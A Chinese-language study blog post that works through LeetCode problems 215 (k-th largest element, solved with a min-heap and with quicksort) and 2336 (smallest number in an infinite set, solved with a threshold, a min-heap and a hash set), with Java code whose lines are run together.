目录

215. 数组中的第K个最大元素

题目链接及描述

题目分析

堆排序分析

堆排序代码编写

快排分析

快排代码编写

2336、无限集中的最小数字

题目链接及描述

题目分析

代码编写

---

215. 数组中的第K个最大元素

题目链接及描述

215. 数组中的第K个最大元素 - 力扣（LeetCode）

题目分析

堆排序分析

        题目所述为找到第K个最大元素，首先想到使用Arrays.sort(nums); return nums[nums.length - k]即可解决，此时很好，可以回家等通知了。

        第K个最大元素，如果创建一个小顶堆，堆顶元素为最小，并维护堆中元素个数为K，当nums数组遍历结束后，堆顶元素即为返回的元素。

        在Java中创建小顶堆以及大顶堆可以使用线程的PrioriityQueue来实现：

        Java中的单列集合Collection及其实现类如上，通过上面图示，可以看到PriorityQueue就是Collection的一个实现类，创建代码参考如下：

        PriorityQueue<Integer> pq = new PriorityQueue<>((a,b)->a - b);    //小顶堆PriorityQueue<Integer> pq = new PriorityQueue<>((a,b)->b - a);    //大顶堆

堆排序代码编写

    public int findKthLargest(int[] nums, int k) {PriorityQueue<Integer> pq = new PriorityQueue<>((a,b)->a - b);for(int num : nums){if(pq.size() < k){pq.add(num);}else if(num > pq.peek()){pq.poll();pq.add(num);}}return pq.peek();}

        这道题目如果在面试中出现的话，可能还是需要手写堆排序的，自己抽时间学习学习手写堆排序随后补充上。 

快排分析

        快排本质上就是对Arrays.sort(nums)的一种优化手段，具体可以网上查找资源，贴出自己编写的快排代码实现。

快排代码编写

class Solution {public int findKthLargest(int[] nums, int k) {int len = nums.length;// 第1大的元素:len - 1;// 第2大的元素:len - 2;// 第k大的元素:len - k;mySort(nums, 0, len - 1);return nums[len - k];}public void mySort(int[] nums, int L, int R){if(L >= R)  return;int pivot = nums[L];int le = L + 1, ge = R;while(true){while(le <= ge && nums[le] < pivot) ++le;while(le <= ge && nums[ge] > pivot) --ge;if(le >= ge)    break;mySwap(nums, le, ge);++le;--ge; }mySwap(nums, L, ge);mySort(nums, L, ge - 1);mySort(nums, ge + 1, R);}public void mySwap(int[] nums, int idx1, int idx2){int temp = nums[idx1];nums[idx1] = nums[idx2];nums[idx2] = temp;}
}

2336、无限集中的最小数字

题目链接及描述

2336. 无限集中的最小数字 - 力扣（LeetCode）

题目分析

         初次看到这个题目并没有将其和优先级队列联系起来，题目所述首先存储了所有正整数，随后popSmallest()和addBack()两个方法，对初始化的正整数数组进行操作。

• int popSmallest() 移除 并返回该无限集中的最小整数。
• void addBack(int num) 如果正整数 num 不 存在于无限集中，则将一个 num 添加 到该无限集最后。

        首先不可能创建一个数组或者List集合将所有正整数存储起来，想到的是设置一个标志位：如threshold，此值代表的含义为【threshold, +oo）这部分正整数尚未操作过，仍然存在于初始化数组中。【1，threshold)这部分数据已经从初始化数组中弹出。

         此时对于addBack(int num)方法调用而言，只需要判断，num 和 threshold的关系，

• 如果num >  threshold，说明原集合中已经存在num，无法继续添加。
• 如果num <  threshold，说明除初始集合中已经不存在num，需要将其添加至集合中，由于初始使用一个值threshold代表集合，此时可以创建一个小顶堆和哈希表set用于存储num，只有set中不存在num时将num对应的数据分别添加到set和小顶堆中。【哈希表set只是判断元素num知否已经出现过，如果出现过，则不添加，否则添加】

      int popSmallest() 移除元素的方法调用此时也分为两种情况即可。

• 如果小顶堆队列不为空，则获取小顶堆堆顶对应的元素，并将其弹出。将set中对应的元素remove（）掉，返回堆顶元素即可。
• 如果小顶堆此时为空，直接返回threshold++。即返回了当前对应的元素，同时又将当前对应元素从"集合"中删除。

代码编写

class SmallestInfiniteSet {public int threshold;public PriorityQueue<Integer> pq;public Set<Integer> set;public SmallestInfiniteSet() {this.threshold = 1;this.pq = new PriorityQueue<>((a, b)->a - b);this.set = new HashSet<>();}public int popSmallest() {if(pq.size() > 0){set.remove(pq.peek());return pq.poll();}return threshold++;}public void addBack(int num) {if(num >= threshold){return;}if(!set.contains(num)){set.add(num);pq.add(num);}}
}
/*** Your SmallestInfiniteSet object will be instantiated and called as such:* SmallestInfiniteSet obj = new SmallestInfiniteSet();* int param_1 = obj.popSmallest();* obj.addBack(num);*/